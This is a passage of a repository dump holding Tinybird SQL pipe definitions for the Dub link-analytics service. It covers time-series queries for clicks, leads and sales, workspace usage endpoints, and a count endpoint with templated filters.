String(timezone, 'UTC') }}), 3)\n    {% end %} AS interval,\n    uniq(click_id) as clicks\nFROM\n    {% if defined(customerId) %} dub_click_events_id\n    {% else %} dub_click_events_mv\n    {% end %}\n    {% if defined(customerId) %}\n        PREWHERE click_id IN (\n            SELECT DISTINCT click_id\n            FROM dub_lead_events_mv\n            WHERE customer_id = {{ String(customerId) }}\n        )\n    {% end %}\nWHERE\n    true\n    {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n    {% if defined(linkIds) %} AND link_id IN {{ Array(linkIds, 'String') }}\n    {% elif defined(linkId) %} AND link_id = {{ linkId }}\n    {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n        tenantId\n    ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n        tagIds\n    ) or defined(\n        root\n    ) %} AND link_id in (SELECT link_id from workspace_links)\n    {% end %}\n    {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n    {% if defined(country) %} AND country = {{ country }} {% end %}\n    {% if defined(region) %} AND region = {{ region }} {% end %}\n    {% if defined(city) %} AND city = {{ city }} {% end %}\n    {% if defined(device) %} AND device = {{ device }} {% end %}\n    {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n    {% if defined(os) %} AND os = {{ os }} {% end %}\n    {% if defined(trigger) %} AND trigger = {{ trigger }} {% end %}\n    {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n    {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n    {% if defined(utm_source) %}\n        AND url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n    {% end %}\n    {% if defined(utm_medium) %}\n        AND url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n    {% end %}\n    {% if defined(utm_campaign) %}\n        AND url\n        LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n    {% end %}\n    {% if defined(utm_term) %}\n        AND url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n    {% end %}\n    {% if defined(utm_content) %}\n        AND url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n    {% end %}\n    {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n    {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n    {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\nGROUP BY interval\nORDER BY interval\n\n\n\nNODE timeseries_clicks\nSQL >\n\n%\n    SELECT formatDateTime(interval, '%FT%T.000%z') as groupByField, clicks\n    FROM\n        {% if granularity == \"minute\" %} minute_intervals\n        {% elif granularity == \"hour\" %} hour_intervals\n        {% elif granularity == \"month\" %} month_intervals\n        {% else %} day_intervals\n        {% end %}\n    LEFT JOIN timeseries_clicks_data USING interval\n\n\n\nNODE timeseries_leads_data\nSQL >\n\n%\nSELECT\n    {% if granularity == \"hour\" %} toStartOfHour(timestamp, {{ String(timezone, 'UTC') }})\n    {% elif granularity == \"month\" %}\n        toDateTime64(\n            toStartOfMonth(timestamp, {{ String(timezone, 'UTC') }}),\n            3,\n            {{ String(timezone, 'UTC') }}\n        )\n    {% else %} toDateTime64(toStartOfDay(timestamp, {{ String(timezone, 'UTC') }}), 3)\n    {% end %} AS interval,\n    uniq(*) as leads\nFROM dub_lead_events_mv\nWHERE\n    true\n    {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n    {% if defined(linkIds) %} AND link_id IN {{ Array(linkIds, 'String') }}\n    {% elif defined(linkId) %} AND link_id = {{ linkId }}\n    {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n        tenantId\n    ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n        tagIds\n    ) or defined(\n        root\n    ) %} AND link_id in (SELECT link_id from workspace_links)\n    {% end %}\n    {% if defined(customerId) %} AND customer_id = {{ String(customerId) }} {% end %}\n    {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n    {% if defined(country) %} AND country = {{ country }} {% end %}\n    {% if defined(region) %} AND region = {{ region }} {% end %}\n    {% if defined(city) %} AND city = {{ city }} {% end %}\n    {% if defined(device) %} AND device = {{ device }} {% end %}\n    {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n    {% if defined(os) %} AND os = {{ os }} {% end %}\n    {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n    {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n    {% if defined(utm_source) %}\n        AND url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n    {% end %}\n    {% if defined(utm_medium) %}\n        AND url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n    {% end %}\n    {% if defined(utm_campaign) %}\n        AND url\n        LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n    {% end %}\n    {% if defined(utm_term) %}\n        AND url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n    {% end %}\n    {% if defined(utm_content) %}\n        AND url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n    {% end %}\n    {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n    {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n    {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\nGROUP BY interval\nORDER BY interval\n\n\n\nNODE timeseries_leads\nSQL >\n\n%\n    SELECT formatDateTime(interval, '%FT%T.000%z') as groupByField, leads\n    FROM\n        {% if granularity == \"minute\" %} minute_intervals\n        {% elif granularity == \"hour\" %} hour_intervals\n        {% elif granularity == \"month\" %} month_intervals\n        {% else %} day_intervals\n        {% end %}\n    LEFT JOIN timeseries_leads_data USING interval\n\n\n\nNODE first_sale_by_link_customer\nSQL >\n\n%\nSELECT workspace_id, link_id, customer_id, minMerge(first_sale_state) AS first_sale_ts\nFROM dub_first_sale_mv\nWHERE\n    workspace_id\n    = {{\n        String(\n            workspaceId,\n            'cl7pj5kq4006835rbjlt2ofka',\n            description=\"The unique ID for the workspace\",\n            required=True,\n        )\n    }}\nGROUP BY workspace_id, link_id, customer_id\n\n\n\nNODE timeseries_sales_data\nSQL >\n\n%\nSELECT\n    {% if granularity == \"hour\" %}\n        toStartOfHour(timestamp, {{ String(timezone, 'UTC') }})\n    {% elif granularity == \"month\" %}\n        toDateTime64(\n            toStartOfMonth(timestamp, {{ String(timezone, 'UTC') }}),\n            3,\n            {{ String(timezone, 'UTC') }}\n        )\n    {% else %}\n        toDateTime64(toStartOfDay(timestamp, {{ String(timezone, 'UTC') }}), 3)\n    {% end %} AS interval,\n    uniq(*) AS sales,\n    sum(amount) AS amount\nFROM\n(\n    SELECT\n        se.timestamp,\n        se.amount,\n        se.workspace_id,\n        se.link_id,\n        se.customer_id,\n        se.continent,\n        se.country,\n        se.region,\n        se.city,\n        se.device,\n        se.browser,\n        se.os,\n        se.referer,\n        se.referer_url,\n        se.url,\n        se.metadata,\n        if(\n            isNull(fs.first_sale_ts),\n            'new',\n            if(\n                toUnixTimestamp64Milli(se.timestamp) = toUnixTimestamp64Milli(fs.first_sale_ts),\n                'new',\n                'recurring'\n            )\n        ) AS sale_type\n    FROM dub_sale_events_mv AS se\n    LEFT JOIN first_sale_by_link_customer AS fs\n        USING (workspace_id, link_id, customer_id)\n    WHERE\n        true\n        {% if defined(workspaceId) %} AND se.workspace_id = {{ workspaceId }} {% end %}\n        {% if defined(linkIds) %} AND se.link_id IN {{ Array(linkIds, 'String') }}\n        {% elif defined(linkId) %} AND se.link_id = {{ linkId }}\n        {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n            tenantId\n        ) or defined(folderIds) or defined(folderId) or defined(domain) or defined(\n            tagIds\n        ) or defined(\n            root\n        ) %} AND se.link_id in (SELECT link_id from workspace_links)\n        {% end %}\n        {% if defined(customerId) %} AND se.customer_id = {{ String(customerId) }} {% end %}\n        {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND se.country = {{ country }} {% end %}\n        {% if defined(region) %} AND se.region = {{ region }} {% end %}\n        {% if defined(city) %} AND se.city = {{ city }} {% end %}\n        {% if defined(device) %} AND se.device = {{ device }} {% end %}\n        {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND se.os = {{ os }} {% end %}\n        {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', se.referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND se.url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND se.url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND se.url\n            LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND se.url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND se.url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', se.url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND se.timestamp >= {{ DateTime64(start) }} {% end %}\n        {% if defined(end) %} AND se.timestamp <= {{ DateTime64(end) }} {% end %}\n) AS typed\nWHERE\n    true\n    {% if defined(saleType) %} AND typed.sale_type = {{ String(saleType) }} {% end %}\nGROUP BY interval\nORDER BY interval\n\n\n\nNODE timeseries_sales\nSQL >\n\n%\n    SELECT formatDateTime(interval, '%FT%T.000%z') as groupByField, sales, amount, amount as saleAmount\n    FROM\n        {% if granularity == \"minute\" %} minute_intervals\n        {% elif granularity == \"hour\" %} hour_intervals\n        {% elif granularity == \"month\" %} month_intervals\n        {% else %} day_intervals\n        {% end %}\n    LEFT JOIN timeseries_sales_data USING interval\n\n\n\nNODE timeseries_composite\nSQL >\n\n    SELECT dce.groupByField AS groupByField, clicks, leads, sales, amount, saleAmount\n    FROM (SELECT groupByField, clicks FROM timeseries_clicks) AS dce\n    LEFT JOIN (SELECT * FROM  timeseries_leads) AS dle ON dce.groupByField = dle.groupByField\n    LEFT JOIN (SELECT * FROM timeseries_sales) AS dse ON dce.groupByField = dse.groupByField\n\n\n\nNODE endpoint\nSQL >\n\n%\nSELECT *\nFROM\n    {% if eventType == 'clicks' %} timeseries_clicks\n    {% elif eventType == 'leads' %} timeseries_leads\n    {% elif eventType == 'sales' %} timeseries_sales\n    {% elif eventType == 'composite' %} timeseries_composite\n    {% else %} timeseries_clicks\n    {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v3_usage.pipe",
    "content": "NODE day_intervals\nSQL >\n\n    %\n            WITH\n                toStartOfDay(\n                    toDateTime64({{ DateTime64(start, '2025-09-03 00:00:00.000') }}, 3),\n                    {{ String(timezone, 'UTC') }}\n                ) AS start,\n                toStartOfDay(\n                    toDateTime64({{ DateTime64(end, '2025-10-03 00:00:00.000') }}, 3),\n                    {{ String(timezone, 'UTC') }}\n                ) AS\n            end\n            SELECT\n                arrayJoin(\n                    arrayMap(\n                        x -> toDateTime64(toStartOfDay(toDateTime64(x, 3), {{ String(timezone, 'UTC') }}), 3),\n                        range(toUInt32(start + 86400), toUInt32(end + 86400),\n                        86400\n                    )\n                )\n            ) as interval\n\n\n\nNODE usage_events_data\nSQL >\n\n    %\n        SELECT\n            toDateTime64(toStartOfDay(timestamp, {{ String(timezone, 'UTC') }}), 3) AS interval,\n            {% if defined(groupBy) %} {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %}, {% end %}\n            uniq(*) AS events\n        FROM\n            (\n                -- Click events\n                SELECT e.timestamp{% if defined(groupBy) %}, {% if groupBy == 'folder_id' %} m.folder_id {% else %} e.domain {% end %}, {% end %}\n                FROM dub_click_events_mv e\n                {% if groupBy == 'folder_id' or defined(folderId) %} LEFT JOIN dub_links_metadata_latest m ON m.link_id = e.link_id {% end %}\n                WHERE\n                    workspace_id\n                    = {{\n                        String(\n                            workspaceId,\n                            'cl7pj5kq4006835rbjlt2ofka',\n                            description=\"The unique ID for the workspace\",\n                            required=True,\n                        )\n                    }}\n                    AND timestamp >= {{ DateTime(start, '2025-09-03 00:00:00') }}\n                    AND timestamp < {{ DateTime(end, '2025-10-03 00:00:00') }}\n                    {% if defined(folderId) %} AND folder_id = {{ folderId }} {% end %}\n                    {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n                UNION ALL\n                -- Lead events\n                SELECT e.timestamp{% if defined(groupBy) %}, {% if groupBy == 'folder_id' %} m.folder_id {% else %} e.domain {% end %}, {% end %}\n                FROM dub_lead_events_mv e\n                {% if groupBy == 'folder_id' or defined(folderId) %} LEFT JOIN dub_links_metadata_latest m ON m.link_id = e.link_id {% end %}\n                WHERE\n                    workspace_id = {{ String(workspaceId, 'cl7pj5kq4006835rbjlt2ofka') }}\n                    AND timestamp >= {{ DateTime(start, '2025-09-03 00:00:00') }}\n                    AND timestamp < {{ DateTime(end, '2025-10-03 00:00:00') }}\n                    {% if defined(folderId) %} AND folder_id = {{ folderId }} {% end %}\n                    {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n                UNION ALL\n                -- Sale events\n                SELECT e.timestamp{% if defined(groupBy) %}, {% if groupBy == 'folder_id' %} m.folder_id {% else %} e.domain {% end %}, {% end %}\n                FROM dub_sale_events_mv e\n                {% if groupBy == 'folder_id' or defined(folderId) %} LEFT JOIN dub_links_metadata_latest m ON m.link_id = e.link_id {% end %}\n                WHERE\n                    workspace_id = {{ String(workspaceId, 'cl7pj5kq4006835rbjlt2ofka') }}\n                    AND timestamp >= {{ DateTime(start, '2025-09-03 00:00:00') }}\n                    AND timestamp < {{ DateTime(end, '2025-10-03 00:00:00') }}\n                    {% if defined(folderId) %} AND folder_id = {{ folderId }} {% end %}\n                    {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n            )\n        GROUP BY interval{% if defined(groupBy) %}, {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %} {% end %}\n        ORDER BY interval\n\n\n\nNODE usage_events\nSQL >\n\n    %\n            SELECT\n                formatDateTime(interval, '%FT%T.000%z') as date,\n                {% if defined(groupBy) %} {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %}, {% end %}\n                events as value\n            FROM day_intervals\n            LEFT JOIN usage_events_data USING interval\n\n\n\nNODE usage_links_data\nSQL >\n\n    %\n        SELECT\n            toDateTime64(toStartOfDay(timestamp, {{ String(timezone, 'UTC') }}), 3) AS interval,\n            {% if defined(groupBy) %} {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %}, {% end %}\n            uniq(*) as links\n        FROM dub_links_metadata_latest FINAL\n        WHERE\n            workspace_id\n            = {{\n                String(\n                    workspaceId,\n                    'clrei1gld0002vs9mzn93p8ik',\n                    description=\"The ID of the workspace\",\n                    required=True,\n                )\n            }}\n            AND created_at >= {{ DateTime(start, '2025-09-03 00:00:00') }}\n            AND created_at < {{ DateTime(end, '2025-10-03 00:00:00') }}\n            {% if defined(folderId) %} AND folder_id = {{ folderId }}\n            {% end %}\n            {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n        GROUP BY interval{% if defined(groupBy) %}, {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %} {% end %}\n        ORDER BY interval\n\n\n\nNODE usage_links\nSQL >\n\n    %\n            SELECT\n              formatDateTime(interval, '%FT%T.000%z') as date,\n              {% if defined(groupBy) %} {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %}, {% end %}\n              links as value\n            FROM day_intervals\n            LEFT JOIN usage_links_data USING interval\n\n\n\nNODE endpoint\nSQL >\n\n    %\n        SELECT * FROM {% if resource == 'events' %} usage_events {% else %} usage_links {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v3_usage_latest.pipe",
    "content": "NODE day_intervals\nSQL >\n\n    %\n        WITH\n            toStartOfDay(\n                toDateTime64({{ DateTime64(start, '2025-09-03 00:00:00.000') }}, 3),\n                {{ String(timezone, 'UTC') }}\n            ) AS start,\n            toStartOfDay(\n                toDateTime64({{ DateTime64(end, '2025-10-03 00:00:00.000') }}, 3),\n                {{ String(timezone, 'UTC') }}\n            ) AS\n        end\n        SELECT\n            arrayJoin(\n                arrayMap(\n                    x -> toDateTime64(toStartOfDay(toDateTime64(x, 3), {{ String(timezone, 'UTC') }}), 3),\n                    range(toUInt32(start + 86400), toUInt32(end + 86400),\n                    86400\n                )\n            )\n        ) as interval\n\n\n\nNODE usage_events_data\nSQL >\n\n    %\n    SELECT\n        toDateTime64(toStartOfDay(timestamp, {{ String(timezone, 'UTC') }}), 3) AS interval,\n        {% if defined(groupBy) %} {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %}, {% end %}\n        uniq(*) AS events\n    FROM\n        (\n            -- Click events\n            SELECT e.timestamp{% if defined(groupBy) %}, {% if groupBy == 'folder_id' %} m.folder_id {% else %} e.domain {% end %}, {% end %}\n            FROM dub_click_events_mv e\n            {% if groupBy == 'folder_id' or defined(folderId) %} LEFT JOIN dub_links_metadata_latest m ON m.link_id = e.link_id {% end %}\n            WHERE\n                workspace_id\n                = {{\n                    String(\n                        workspaceId,\n                        'cl7pj5kq4006835rbjlt2ofka',\n                        description=\"The unique ID for the workspace\",\n                        required=True,\n                    )\n                }}\n                AND timestamp >= {{ DateTime(start, '2025-09-03 00:00:00') }}\n                AND timestamp < {{ DateTime(end, '2025-10-03 00:00:00') }}\n                {% if defined(folderId) %} AND folder_id = {{ folderId }} {% end %}\n                {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n\n            UNION ALL\n\n            -- Lead events\n            SELECT e.timestamp{% if defined(groupBy) %}, {% if groupBy == 'folder_id' %} m.folder_id {% else %} e.domain {% end %}, {% end %}\n            FROM dub_lead_events_mv e\n            {% if groupBy == 'folder_id' or defined(folderId) %} LEFT JOIN dub_links_metadata_latest m ON m.link_id = e.link_id {% end %}\n            WHERE\n                workspace_id = {{ String(workspaceId, 'cl7pj5kq4006835rbjlt2ofka') }}\n                AND timestamp >= {{ DateTime(start, '2025-09-03 00:00:00') }}\n                AND timestamp < {{ DateTime(end, '2025-10-03 00:00:00') }}\n                {% if defined(folderId) %} AND folder_id = {{ folderId }} {% end %}\n                {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n\n            UNION ALL\n\n            -- Sale events\n            SELECT e.timestamp{% if defined(groupBy) %}, {% if groupBy == 'folder_id' %} m.folder_id {% else %} e.domain {% end %}, {% end %}\n            FROM dub_sale_events_mv e\n            {% if groupBy == 'folder_id' or defined(folderId) %} LEFT JOIN dub_links_metadata_latest m ON m.link_id = e.link_id {% end %}\n            WHERE\n                workspace_id = {{ String(workspaceId, 'cl7pj5kq4006835rbjlt2ofka') }}\n                AND timestamp >= {{ DateTime(start, '2025-09-03 00:00:00') }}\n                AND timestamp < {{ DateTime(end, '2025-10-03 00:00:00') }}\n                {% if defined(folderId) %} AND folder_id = {{ folderId }} {% end %}\n                {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n        )\n    GROUP BY interval{% if defined(groupBy) %}, {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %} {% end %}\n    ORDER BY interval\n\n\n\nNODE usage_events\nSQL >\n\n    %\n        SELECT\n            formatDateTime(interval, '%FT%T.000%z') as date,\n            {% if defined(groupBy) %} {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %}, {% end %}\n            events as value\n        FROM day_intervals\n        LEFT JOIN usage_events_data USING interval\n\n\n\nNODE usage_links_data\nSQL >\n\n    %\n    SELECT\n        toDateTime64(toStartOfDay(timestamp, {{ String(timezone, 'UTC') }}), 3) AS interval,\n        {% if defined(groupBy) %} {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %}, {% end %}\n        uniq(*) as links\n    FROM dub_links_metadata_latest FINAL\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'clrei1gld0002vs9mzn93p8ik',\n                description=\"The ID of the workspace\",\n                required=True,\n            )\n        }}\n        AND created_at >= {{ DateTime(start, '2025-09-03 00:00:00') }}\n        AND created_at < {{ DateTime(end, '2025-10-03 00:00:00') }}\n        {% if defined(folderId) %} AND folder_id = {{ folderId }}\n        {% end %}\n        {% if defined(domain) %} AND domain IN {{ Array(domain, 'String') }} {% end %}\n    GROUP BY interval{% if defined(groupBy) %}, {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %} {% end %}\n    ORDER BY interval\n\n\n\nNODE usage_links\nSQL >\n\n    %\n        SELECT\n          formatDateTime(interval, '%FT%T.000%z') as date,\n          {% if defined(groupBy) %} {% if groupBy == 'folder_id' %} folder_id {% else %} domain {% end %}, {% end %}\n          links as value\n        FROM day_intervals\n        LEFT JOIN usage_links_data USING interval\n\n\n\nNODE endpoint\nSQL >\n\n    %\n    SELECT * FROM {% if resource == 'events' %} usage_events {% else %} usage_links {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v4_count.pipe",
    "content": "DESCRIPTION >\n\tTop countries\n\n\nTAGS \"Dub Endpoints\"\n\nNODE workspace_links\nSQL >\n\n    %\n    SELECT link_id\n    FROM dub_links_metadata_latest FINAL\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n        AND deleted == 0\n        {% if defined(programId) %} AND program_id = {{ programId }} {% end %}\n        {% if defined(partnerId) %}\n            {% if defined(partnerIdOperator) and String(partnerIdOperator) == 'NOT IN' %}\n                AND partner_id NOT IN {{ Array(partnerId, 'String') }}\n            {% else %}\n                AND partner_id IN {{ Array(partnerId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(groupId) %}\n            {% if defined(groupIdOperator) and String(groupIdOperator) == 'NOT IN' %}\n                AND partner_group_id NOT IN {{ Array(groupId, 'String') }}\n            {% else %}\n                AND partner_group_id IN {{ Array(groupId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(tenantId) %}\n            {% if defined(tenantIdOperator) and String(tenantIdOperator) == 'NOT IN' %}\n                AND tenant_id NOT IN {{ Array(tenantId, 'String') }}\n            {% else %}\n                AND tenant_id IN {{ Array(tenantId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(domain) %}\n            {% if defined(domainOperator) and String(domainOperator) == 'NOT IN' %}\n                AND domain NOT IN {{ Array(domain, 'String') }}\n            {% else %}\n                AND domain IN {{ Array(domain, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(tagId) %}\n            {% if defined(tagIdOperator) and String(tagIdOperator) == 'NOT IN' %}\n                AND length(arrayFilter(x -> x NOT IN {{ Array(tagId, 'String') }}, tag_ids)) = length(tag_ids)\n            {% else %}\n                AND arrayIntersect(tag_ids, {{ Array(tagId, 'String') }}) != []\n            {% end %}\n        {% end %}\n        {% if defined(folderId) %}\n            {% if defined(folderIdOperator) and String(folderIdOperator) == 'NOT IN' %}\n                AND folder_id NOT IN {{ Array(folderId, 'String') }}\n            {% else %}\n                AND folder_id IN {{ Array(folderId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(root) %}\n            {% if Boolean(root) == 1 %} AND key = '_root' {% else %} AND key != '_root' {% end %}\n        {% end %}\n\n\n\nNODE count_clicks\nSQL >\n\n    %\n    SELECT 'count' as groupByField, COUNT(*) as clicks\n    FROM\n        {% if defined(customerId) %} dub_click_events_id\n        {% else %} dub_click_events_mv\n        {% end %}\n        {% if defined(customerId) %}\n            PREWHERE click_id IN (\n                SELECT DISTINCT click_id\n                FROM dub_lead_events_mv\n                WHERE customer_id = {{ String(customerId) }}\n            )\n        {% end %}\n    WHERE\n        true\n        {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n        {% if defined(linkId) %}\n            {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                AND link_id NOT IN {{ Array(linkId, 'String') }}\n            {% else %}\n                AND link_id IN {{ Array(linkId, 'String') }}\n            {% end %}\n        {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n            tenantId\n        ) or defined(folderId) or defined(domain) or defined(\n            tagId\n        ) or defined(\n            root\n        ) %} AND link_id in (SELECT link_id from workspace_links)\n        {% end %}\n        {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND country = {{ country }} {% end %}\n        {% if defined(region) %} AND region = {{ region }} {% end %}\n        {% if defined(city) %} AND city = {{ city }} {% end %}\n        {% if defined(device) %} AND device = {{ device }} {% end %}\n        {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND os = {{ os }} {% end %}\n        {% if defined(trigger) %} AND trigger = {{ trigger }} {% end %}\n        {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n        {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('field', '') %}\n                    {% set field = item.get('field', '') %}\n                    {% set operator = item.get('operator', 'IN') %}\n                    {% set values = item.get('values', []) %}\n                    {% if field == 'country' %}\n                        {% if operator == 'IN' %} AND country IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND country NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'city' %}\n                        {% if operator == 'IN' %} AND city IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND city NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'continent' %}\n                        {% if operator == 'IN' %} AND continent IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND continent NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'device' %}\n                        {% if operator == 'IN' %} AND device IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND device NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'browser' %}\n                        {% if operator == 'IN' %} AND browser IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND browser NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'os' %}\n                        {% if operator == 'IN' %} AND os IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND os NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'trigger' %}\n                        {% if operator == 'IN' %} AND trigger IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND trigger NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'referer' %}\n                        {% if operator == 'IN' %} AND referer IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND referer NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'refererUrl' %}\n                        {% if operator == 'IN' %} AND splitByString('?', referer_url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'url' %}\n                        {% if operator == 'IN' %} AND splitByString('?', url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'utm_source' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_medium' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_campaign' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 